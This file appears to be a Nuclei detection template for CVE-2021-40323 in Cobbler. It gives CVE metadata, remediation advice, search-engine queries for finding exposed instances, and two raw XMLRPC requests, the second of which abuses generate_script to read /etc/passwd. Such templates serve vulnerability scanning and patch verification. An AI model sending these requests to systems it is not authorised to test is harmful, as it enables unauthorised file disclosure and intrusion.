112 lines
3.3 KiB
YAML
112 lines
3.3 KiB
YAML
id: CVE-2021-40323
|
|
|
|
info:
|
|
name: Cobbler <3.3.0 - Remote Code Execution
|
|
author: c-sh0
|
|
severity: critical
|
|
description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
|
|
remediation: |
|
|
Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
|
|
reference:
|
|
- https://github.com/cobbler/cobbler/releases/tag/v3.3.0
|
|
- https://github.com/cobbler/cobbler/issues/2795
|
|
- https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40323
|
|
- https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-40323
|
|
cwe-id: CWE-94
|
|
epss-score: 0.03304
|
|
epss-percentile: 0.91311
|
|
cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: cobbler_project
|
|
product: cobbler
|
|
shodan-query: http.title:"cobbler web interface"
|
|
fofa-query: title="cobbler web interface"
|
|
google-query: intitle:"cobbler web interface"
|
|
tags: cve,cve2021,cobbler,rce,cobbler_project
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST {{BaseURL}}/cobbler_api HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: text/xml
|
|
|
|
<?xml version='1.0'?>
|
|
<methodCall>
|
|
<methodName>find_profile</methodName>
|
|
<params>
|
|
<param>
|
|
<value>
|
|
<struct>
|
|
<member>
|
|
<name>name</name>
|
|
<value>
|
|
<string>*</string>
|
|
</value>
|
|
</member>
|
|
</struct>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
- |
|
|
POST {{BaseURL}}/cobbler_api HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: text/xml
|
|
|
|
<?xml version='1.0'?>
|
|
<methodCall>
|
|
<methodName>generate_script</methodName>
|
|
<params>
|
|
<param>
|
|
<value>
|
|
<string>{{profile}}</string>
|
|
</value>
|
|
</param>
|
|
<param>
|
|
<value>
|
|
<string></string>
|
|
</value>
|
|
</param>
|
|
<param>
|
|
<value>
|
|
<string>/etc/passwd</string>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'text/xml'
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0"
|
|
- "bin:.*:1"
|
|
- "nobody:.*:99"
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: profile
|
|
group: 1
|
|
regex:
|
|
- '<value><string>(.*?)</string></value>'
|
|
internal: true
|
|
# digest: 4a0a00473045022100c045c74789870365f66a86a879b7c4ea9b37baab9553ea87f0caaacf2f8d0c1e02205b0041d6d08c291c6d1effbf614bc326be46b05618c6ac25c13595f1d88cabf8:922c64590222798bb761d5b6d8e72950 |